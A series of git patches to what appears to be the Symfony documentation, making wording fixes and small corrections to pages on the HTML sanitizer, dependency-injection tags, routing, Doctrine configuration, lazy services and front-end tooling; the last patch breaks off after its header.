From 55f8aad77dbbf17c0d46c7b3148c88cf9c036bfb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 14:40:05 +0200
Subject: [PATCH 4746/7107] Minor tweaks

---
 html_sanitizer.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index bda90d6b324..e6cb9d47000 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -731,8 +731,9 @@ URLs of ``<a>`` elements:
                         allowed_link_schemes: ['http', 'https', 'mailto']
 
                         # specifies the allowed hosts, the attribute will be dropped if the
-                        # URL contains a different host which is not a subdomain of the allowed host
-                        allowed_link_hosts: ['symfony.com'] # also allows any subdomain (i.e. www.symfony.com)
+                        # URL contains a different host. Subdomains are allowed: e.g. the following
+                        # config would also allow 'www.symfony.com', 'live.symfony.com', etc.
+                        allowed_link_hosts: ['symfony.com']
 
                         # whether to allow relative links (i.e. URLs without scheme and host)
                         allow_relative_links: true
@@ -765,8 +766,8 @@ URLs of ``<a>`` elements:
                     <allowed-link-scheme>mailto</allowed-link-scheme>
 
                     <!-- specifies the allowed hosts, the attribute will be dropped if the
-                         URL contains a different host which is not a subdomain of the allowed host
-                         Also allows any subdomain (i.e. www.symfony.com) -->
+                         URL contains a different host. Subdomains are allowed: e.g. the following
+                         config would also allow 'www.symfony.com', 'live.symfony.com', etc. -->
                     <allowed-link-host>symfony.com</allowed-link-host>
                 </framework:html-sanitizer>
             </framework:config>
@@ -790,8 +791,9 @@ URLs of ``<a>`` elements:
                     ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
-                    // URL contains a different host which is not a subdomain of the allowed host
-                    ->allowedLinkHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
+                    // URL contains a different host. Subdomains are allowed: e.g. the following
+                    // config would also allow 'www.symfony.com', 'live.symfony.com', etc.
+                    ->allowedLinkHost('symfony.com')
 
                     // whether to allow relative links (i.e. URLs without scheme and host)
                     ->allowRelativeLinks(true)

From e722d229851ba1cd8d46879d14ea1b3979f6bd20 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 15:19:58 +0200
Subject: [PATCH 4747/7107] Tweaks

---
 form/dynamic_form_modification.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0d321880cb3..9386d57ec6b 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -447,7 +447,7 @@ The type would now look like::
     class SportMeetupType extends AbstractType
     {
         public function buildForm(FormBuilderInterface $builder, array $options): void
-        {          
+        {
             $builder
                 ->add('sport', EntityType::class, [
                     'class' => Sport::class,
@@ -488,7 +488,7 @@ The type would now look like::
                 }
             );
             
-            // by default, action does not appear in the form tag
+            // by default, action does not appear in the <form> tag
             // you can set this value by passing the controller route
             $builder->setAction($options['action']);
         }
@@ -546,7 +546,7 @@ field according to the current selection in the ``sport`` field:
 .. code-block:: html+twig
 
     {# templates/meetup/create.html.twig #}
-    {{ form_start(form, { 'attr' : { 'id' : 'supply_history_form' } }) }}
+    {{ form_start(form, { attr: { id: 'supply_history_form' } }) }}
         {{ form_row(form.sport) }}    {# <select id="meetup_sport" ... #}
         {{ form_row(form.position) }} {# <select id="meetup_position" ... #}
         {# ... #}
@@ -568,12 +568,14 @@ field according to the current selection in the ``sport`` field:
           });
 
           const text = await req.text();
+
           return text;
         };
 
         const parseTextToHtml = (text) => {
           const parser = new DOMParser();
           const html = parser.parseFromString(text, 'text/html');
+
           return html;
         };
 
@@ -581,6 +583,7 @@ field according to the current selection in the ``sport`` field:
           const requestBody = e.target.getAttribute('name') + '=' + e.target.value;
           const updateFormResponse = await updateForm(requestBody, form.getAttribute('action'), form.getAttribute('method'));
           const html = parseTextToHtml(updateFormResponse);
+
           const new_form_select_position = html.getElementById('meetup_position');
           form_select_position.innerHTML = new_form_select_position.innerHTML;
         };

From 720e9f7b65d6dd17802e448490e181144e4e0baf Mon Sep 17 00:00:00 2001
From: Bastien Picharles <bastien.picharles@gmail.com>
Date: Wed, 12 Oct 2022 16:06:01 +0200
Subject: [PATCH 4748/7107] [DependencyInjection] Typo on how default
 defaultIndexMethod work

---
 service_container/tags.rst | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 94d7d2036b3..9a94006ce8d 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -804,9 +804,21 @@ array element. For example, to retrieve the ``handler_two`` handler::
 
 .. tip::
 
-    Just like the priority, you can also implement a static
-    ``getDefaultIndexName()`` method in the handlers and omit the
+    Just like the priority, if you set the attribute (``index_by``) on the :tagged_iterator, you can also implement a static
+    ``getDefault(``index_by``)Name()`` method in the handlers and omit the
     index attribute (``key``)::
+        
+
+        .. code-block:: yaml
+        
+        # config/services.yaml
+            services:
+                # ...
+
+                App\HandlerCollection:
+                    arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
+                    
+    .. code-block:: php
 
         // src/Handler/One.php
         namespace App\Handler;
@@ -814,7 +826,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
         class One
         {
             // ...
-            public static function getDefaultIndexName(): string
+            public static function getDefaultHandlerName(): string
             {
                 return 'handler_one';
             }

From f347595de3f080c657057d985c69e963ea1f99ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 16:49:08 +0200
Subject: [PATCH 4749/7107] Reword

---
 service_container/tags.rst | 153 +++++++++++++++++++------------------
 1 file changed, 77 insertions(+), 76 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c4de67b7506..1c17e4e95da 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -919,109 +919,110 @@ array element. For example, to retrieve the ``handler_two`` handler::
         }
     }
 
-.. tip::
+You can omit the index attribute (``key`` in the previous example) by setting
+the ``index_by`` attribute on the ``tagged_iterator`` tag. In this case, you
+must define a static method whose name follows the pattern:
+``getDefault<CamelCase index_by value>Name``.
 
-    Just like the priority, if you set the attribute (``index_by``) on the :tagged_iterator, you can also implement a static
-    ``getDefault(``index_by``)Name()`` method in the handlers and omit the
-    index attribute (``key``)::
-        
+For example, if ``index_by`` is ``handler``, the method name must be
+``getDefaultHandlerName()``:
 
-        .. code-block:: yaml
-        
-        # config/services.yaml
-            services:
-                # ...
+.. code-block:: yaml
 
-                App\HandlerCollection:
-                    arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
-                    
-    .. code-block:: php
+    # config/services.yaml
+        services:
+            # ...
+
+            App\HandlerCollection:
+                arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
 
-        // src/Handler/One.php
-        namespace App\Handler;
+.. code-block:: php
 
-        class One
+    // src/Handler/One.php
+    namespace App\Handler;
+
+    class One
+    {
+        // ...
+        public static function getDefaultHandlerName(): string
         {
-            // ...
-            public static function getDefaultHandlerName(): string
-            {
-                return 'handler_one';
-            }
+            return 'handler_one';
         }
+    }
 
-    You also can define the name of the static method to implement on each service
-    with the ``default_index_method`` attribute on the tagged argument:
+You also can define the name of the static method to implement on each service
+with the ``default_index_method`` attribute on the tagged argument:
 
-    .. configuration-block::
+.. configuration-block::
 
-        .. code-block:: php-attributes
+    .. code-block:: php-attributes
 
-            // src/HandlerCollection.php
-            namespace App;
+        // src/HandlerCollection.php
+        namespace App;
 
-            use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
 
-            class HandlerCollection
-            {
-                public function __construct(
-                    #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
-                    iterable $handlers
-                ) {
-                }
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
+                iterable $handlers
+            ) {
             }
+        }
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/services.yaml
-            services:
-                # ...
+        # config/services.yaml
+        services:
+            # ...
 
-                App\HandlerCollection:
-                    # use getIndex() instead of getDefaultIndexName()
-                    arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }]
+            App\HandlerCollection:
+                # use getIndex() instead of getDefaultIndexName()
+                arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }]
 
-        .. code-block:: xml
+    .. code-block:: xml
 
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-                <services>
-                    <!-- ... -->
+            <services>
+                <!-- ... -->
 
-                    <service id="App\HandlerCollection">
-                        <!-- use getIndex() instead of getDefaultIndexName() -->
-                        <argument type="tagged_iterator"
-                            tag="app.handler"
-                            default-index-method="someFunctionName"
-                        />
-                    </service>
-                </services>
-            </container>
+                <service id="App\HandlerCollection">
+                    <!-- use getIndex() instead of getDefaultIndexName() -->
+                    <argument type="tagged_iterator"
+                        tag="app.handler"
+                        default-index-method="someFunctionName"
+                    />
+                </service>
+            </services>
+        </container>
 
-        .. code-block:: php
+    .. code-block:: php
 
-            // config/services.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            use App\HandlerCollection;
-            use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
+        use App\HandlerCollection;
+        use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $container) {
-                $services = $container->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
-                // ...
+            // ...
 
-                // use getIndex() instead of getDefaultIndexName()
-                $services->set(HandlerCollection::class)
-                    ->args([
-                        tagged_iterator('app.handler', null, 'getIndex'),
-                    ])
-                ;
-            };
+            // use getIndex() instead of getDefaultIndexName()
+            $services->set(HandlerCollection::class)
+                ->args([
+                    tagged_iterator('app.handler', null, 'getIndex'),
+                ])
+            ;
+        };
 
 .. _tags_as-tagged-item:
 

From 9d999ce9b39747a319bacc55a166755d767cab05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 17:31:59 +0200
Subject: [PATCH 4750/7107] Tweaks

---
 controller/value_resolver.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index d46a270780e..71efd680b08 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -228,8 +228,8 @@ In that specific case, you don't need any resolver running before
 but also prevent one of them providing a value before ``SessionValueResolver``
 has a chance to.
 
-The :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute lets you
-do this by "targeting" the resolver you want::
+The :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute
+lets you do this by "targeting" the resolver you want::
 
     // src/Controller/SessionController.php
     namespace App\Controller;
@@ -256,11 +256,11 @@ do this by "targeting" the resolver you want::
 
     The ``ValueResolver`` attribute was introduced in Symfony 6.3.
 
-In the example above, the ``SessionValueResolver`` will be called first because it is
-targeted. The ``DefaultValueResolver`` will be called next if no value has been provided;
-that's why we can assign ``null`` as ``$session``'s default value.
+In the example above, the ``SessionValueResolver`` will be called first because
+it is targeted. The ``DefaultValueResolver`` will be called next if no value has
+been provided; that's why you can assign ``null`` as ``$session``'s default value.
 
-We target a resolver by passing its name as ``ValueResolver``'s first argument.
+You can target a resolver by passing its name as ``ValueResolver``'s first argument.
 For convenience, built-in resolvers' name are their FQCN.
 
 A targeted resolver can also be disabled by passing ``ValueResolver``'s ``$disabled``

From 57c18a898023ce3c174a428a8c7d63fe120e4ecf Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Thu, 15 Jun 2023 18:12:21 +0200
Subject: [PATCH 4751/7107] Fix xml example for defaut-index-name for tagged
 service provider

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1c17e4e95da..87f354434c2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -997,7 +997,7 @@ with the ``default_index_method`` attribute on the tagged argument:
                     <!-- use getIndex() instead of getDefaultIndexName() -->
                     <argument type="tagged_iterator"
                         tag="app.handler"
-                        default-index-method="someFunctionName"
+                        default-index-method="getIndex"
                     />
                 </service>
             </services>

From ee02b68fed3fdbee9e998e61e4811927d40e095c Mon Sep 17 00:00:00 2001
From: DracoBlue <JanS@DracoBlue.de>
Date: Tue, 13 Sep 2022 21:22:02 +0200
Subject: [PATCH 4752/7107] Add hint about variables_order ini setting required

---
 configuration.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index ebdef340f0c..f526b3a692e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -792,7 +792,9 @@ the right situation:
   but the overrides only apply to one environment.
 
 *Real* environment variables always win over env vars created by any of the
-``.env`` files.
+``.env`` files. This behavior depends on
+`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ to
+contain an ``E`` to expose the ``$_ENV`` superglobal.
 
 The ``.env`` and ``.env.<environment>`` files should be committed to the
 repository because they are the same for all developers and machines. However,

From d1dbc7b72742d711b2ee46c9aaaeb14eac742f44 Mon Sep 17 00:00:00 2001
From: Gustavo Henrique Mascarenhas Machado <guhemama@gmail.com>
Date: Mon, 31 Oct 2022 14:28:18 +0100
Subject: [PATCH 4753/7107] [Routing] Update ignoreAttributes description

The documentation does not mention one can ignore all attributes or specify which of them to ignore. This is pretty clear to someone calling `\Symfony\Bundle\FrameworkBundle\Controller\RedirectController::redirectAction`, but not to someone using YAML.
---
 routing.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index d06a4c3f864..835fe8a64f9 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1626,8 +1626,10 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 # * for temporary redirects, it uses the 307 status code instead of 302
                 # * for permanent redirects, it uses the 308 status code instead of 301
                 keepRequestMethod: true
-                # add this to remove the original route attributes when redirecting
+                # add this to remove all original route attributes when redirecting
                 ignoreAttributes: true
+                # or specify which attributes to ignore
+                # ignoreAttributes: [ offset, limit ]
 
         legacy_doc:
             path: /legacy/doc

From 510662d2863461c7a81f7f8bf97a7217b49be25e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 10:07:10 +0200
Subject: [PATCH 4754/7107] Minor tweaks

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 835fe8a64f9..539c2988d82 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1628,8 +1628,8 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 keepRequestMethod: true
                 # add this to remove all original route attributes when redirecting
                 ignoreAttributes: true
-                # or specify which attributes to ignore
-                # ignoreAttributes: [ offset, limit ]
+                # or specify which attributes to ignore:
+                # ignoreAttributes: ['offset', 'limit']
 
         legacy_doc:
             path: /legacy/doc

From 5431d14d3c9198931a53c5c4bd6ce2f27d978a31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 11:23:03 +0200
Subject: [PATCH 4755/7107] Tweak

---
 rate_limiter.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 226567060f0..cbf960f5f9a 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -35,7 +35,8 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time.
+interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
+minutes).
 
 In the diagram below, the limit is set to "5 tokens per hour". Each window
 starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are

From 3736d24e3a52b89faec7a2df9a6046fe2159061c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 11:46:04 +0200
Subject: [PATCH 4756/7107] [Validator] Give more details to the Password
 Strength

---
 reference/constraints/PasswordStrength.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index ce18f95c4f6..20e1fceacd7 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -6,7 +6,10 @@ PasswordStrength
     The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
 
 Validates that the given password has reached the minimum strength required by
-the constraint.
+the constraint. The strengh of the password is not evaluated with a set of
+predefined rules (include a number, use lowercase and uppercase characters,
+etc.) but by measuring the entropy of the password based on its length and the
+number of unique characters used.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From ee6d5953b293be1222934a019703a9a5648fd70d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 13:00:08 +0200
Subject: [PATCH 4757/7107] [Doctrine] Warn about DBAL 4.x changes for MariaDB
 connection

---
 reference/configuration/doctrine.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 71f8968c35a..6c5faa6d855 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -109,7 +109,9 @@ The following block shows all possible configuration keys:
     version).
 
     If you are running a MariaDB database, you must prefix the ``server_version``
-    value with ``mariadb-`` (e.g. ``server_version: mariadb-10.4.14``).
+    value with ``mariadb-`` (e.g. ``server_version: mariadb-10.4.14``). This will
+    change in Doctrine DBAL 4.x, where you must define the version as output by
+    the server (e.g. ``10.4.14-MariaDB``).
 
     Always wrap the server version number with quotes to parse it as a string
     instead of a float number. Otherwise, the floating-point representation

From 03935072c977cb450be36f6f6e7e043effea6795 Mon Sep 17 00:00:00 2001
From: Leanna <leanna@symfonycasts.com>
Date: Fri, 16 Jun 2023 06:10:43 -0400
Subject: [PATCH 4758/7107] Updating class name of lazy ghost interface

I believe this is the actual class - https://github.com/symfony/symfony/blob/6.4/src/Symfony/Component/VarExporter/LazyObjectInterface.php
---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 663118504cc..251a7c39171 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -86,7 +86,7 @@ itself when being accessed for the first time). The same happens when calling
 To check if your lazy service works you can check the interface of the received object::
 
     dump(class_implements($service));
-    // the output should include "Symfony\Component\VarExporter\LazyGhostObjectInterface"
+    // the output should include "Symfony\Component\VarExporter\ObjectInterface"
 
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.

From eec7f4040b4533230a7dabb5baba9db6951bce6c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 13:19:33 +0200
Subject: [PATCH 4759/7107] Tweak

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 251a7c39171..ecb8120f14f 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -86,7 +86,7 @@ itself when being accessed for the first time). The same happens when calling
 To check if your lazy service works you can check the interface of the received object::
 
     dump(class_implements($service));
-    // the output should include "Symfony\Component\VarExporter\ObjectInterface"
+    // the output should include "Symfony\Component\VarExporter\LazyObjectInterface"
 
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.

From b6042e366586916cbaac748b44e0faf17da675b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 15:34:28 +0200
Subject: [PATCH 4760/7107] [Security] Remove the security.remember_me_aware
 tag

---
 reference/dic_tags.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index a67bf15f141..bd963249113 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -953,22 +953,6 @@ This tag is used to automatically register :ref:`expression function providers
 component. Using these providers, you can add custom functions to the security
 expression language.
 
-security.remember_me_aware
---------------------------
-
-**Purpose**: To allow remember me authentication
-
-This tag is used internally to allow remember-me authentication to work.
-If you have a custom authentication method where a user can be remember-me
-authenticated, then you may need to use this tag.
-
-If your custom authentication factory extends
-:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory`
-and your custom authentication listener extends
-:class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener`,
-then your custom authentication listener will automatically have this tag
-applied and it will function automatically.
-
 security.voter
 --------------
 

From a1675215f186ef6b8e195cb1cac8b02688f89ebe Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Jun 2023 14:57:10 +0200
Subject: [PATCH 4761/7107] Remove phpunit 5.3 references

---
 create_framework/unit_testing.rst | 4 ----
 testing/database.rst              | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 4b189205880..55fcef88517 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -99,8 +99,6 @@ We are now ready to write our first test::
         private function getFrameworkForException($exception)
         {
             $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
-            // use getMock() on PHPUnit 5.3 or below
-            // $matcher = $this->getMock(Routing\Matcher\UrlMatcherInterface::class);
 
             $matcher
                 ->expects($this->once())
@@ -159,8 +157,6 @@ Response::
     public function testControllerResponse()
     {
         $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
-        // use getMock() on PHPUnit 5.3 or below
-        // $matcher = $this->getMock(Routing\Matcher\UrlMatcherInterface::class);
 
         $matcher
             ->expects($this->once())
diff --git a/testing/database.rst b/testing/database.rst
index a7b77f2dc0a..fb78d33a3a7 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -61,8 +61,6 @@ constructor, you can pass a mock object within a test::
 
             // Now, mock the repository so it returns the mock of the employee
             $employeeRepository = $this->createMock(ObjectRepository::class);
-            // use getMock() on PHPUnit 5.3 or below
-            // $employeeRepository = $this->getMock(ObjectRepository::class);
             $employeeRepository->expects($this->any())
                 ->method('find')
                 ->willReturn($employee);
@@ -71,8 +69,6 @@ constructor, you can pass a mock object within a test::
             // (this is not needed if the class being tested injects the
             // repository it uses instead of the entire object manager)
             $objectManager = $this->createMock(ObjectManager::class);
-            // use getMock() on PHPUnit 5.3 or below
-            // $objectManager = $this->getMock(ObjectManager::class);
             $objectManager->expects($this->any())
                 ->method('getRepository')
                 ->willReturn($employeeRepository);

From 5055fa782b0306652eba4eec1f6adfd9eb1146c3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Jun 2023 16:27:43 +0200
Subject: [PATCH 4762/7107] Remove symfony 5.x version references

---
 messenger/multiple_buses.rst          | 2 +-
 reference/configuration/framework.rst | 2 +-
 service_container/tags.rst            | 2 --
 translation.rst                       | 2 +-
 4 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 8cc5fa5fa22..49e4d3e568e 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -277,7 +277,7 @@ You can also restrict the list to a specific bus by providing its name as an arg
 
 .. tip::
 
-    Since Symfony 5.1, the command will also show the PHPDoc description of
+    The command will also show the PHPDoc description of
     the message and handler classes.
 
 .. _article about CQRS: https://martinfowler.com/bliki/CQRS.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 83e3c2f3cf3..ce08ef2f11a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2332,7 +2332,7 @@ package:
 
     If you request an asset that is *not found* in the ``manifest.json`` file, the original -
     *unmodified* - asset path will be returned.
-    Since Symfony 5.4, you can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
+    You can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
 
 .. note::
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8dabdae494e..fd0be6977b9 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -331,7 +331,6 @@ For example, you may add the following transports as services:
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
-                // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport')
             ;
@@ -499,7 +498,6 @@ To answer this, change the service declaration:
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
-                // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport', ['alias' => 'smtp'])
             ;
diff --git a/translation.rst b/translation.rst
index 9842e561f1d..7b3305f5261 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1069,7 +1069,7 @@ unused translation messages templates:
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    the ``trans()`` method on a translator. Dynamic
     translations using variables or expressions in templates are not
     detected either:
 

From 104e56c9ec0a9b551a24b6bdc8d138f1ea54a271 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 17 Jun 2023 13:59:17 +0200
Subject: [PATCH 4763/7107] Minor improvements & bugfixes

---
 frontend.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 54889c0ba05..60c83a8e714 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -5,10 +5,10 @@ Symfony gives you the flexibility to choose any front-end tools you want. This c
 be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
 more advanced - like scaffolding your front-end with a tool like Next.js.
 
-However, Symfony *does* come with two powerful option to help you build a modern,
+However, Symfony *does* come with two powerful options to help you build a modern,
 fast frontend, *and* enjoy the process:
 
-* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with Node
+* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with `Node.js`_
   on top of `Webpack`_ that allows you to write modern CSS & JavaScript and handle
   things like JSX (React), Vue or TypeScript.
 
@@ -20,19 +20,19 @@ fast frontend, *and* enjoy the process:
 ================================  =================  ======================================================
 Production Ready?                 yes                yes
 Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
-Requirements                      node               none: pure PHP
+Requirements                      Node.js            none: pure PHP
 Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes**
-Supports TypeScript               yes                no**
+Supports React, Vue, Svelte?      yes                yes [#1]_
+Supports TypeScript               yes                no [#1]_
 ================================  =================  ======================================================
 
-** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
-   need to use their native tools for pre-compilation. Also, some features (like
-   Vue single-file components) cannot be compiled down to pure JavaScript that can
-   be executed by a browser.
+.. [#1] Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+        need to use their native tools for pre-compilation. Also, some features (like
+        Vue single-file components) cannot be compiled down to pure JavaScript that can
+        be executed by a browser.
 
 .. _frontend-webpack-encore:
 
@@ -147,6 +147,7 @@ Other Front-End Articles
 
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
+.. _`Node.js`: https://nodejs.org/
 .. _`Webpacker`: https://github.com/rails/webpacker
 .. _`Mix`: https://laravel.com/docs/mix
 .. _`Symfony`: https://symfony.com/

From 5c8154b510acd222226682c3a7b539b6a179d3ef Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.fr>
Date: Sat, 17 Jun 2023 19:10:12 +0200
Subject: [PATCH 4764/7107] Fix `doctrine/dbal` deprecation using
 `Statement::executeQuery`

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index ff8eaa2479a..74bbd073373 100644
--- a/doctrine.rst
+++ b/doctrine.rst
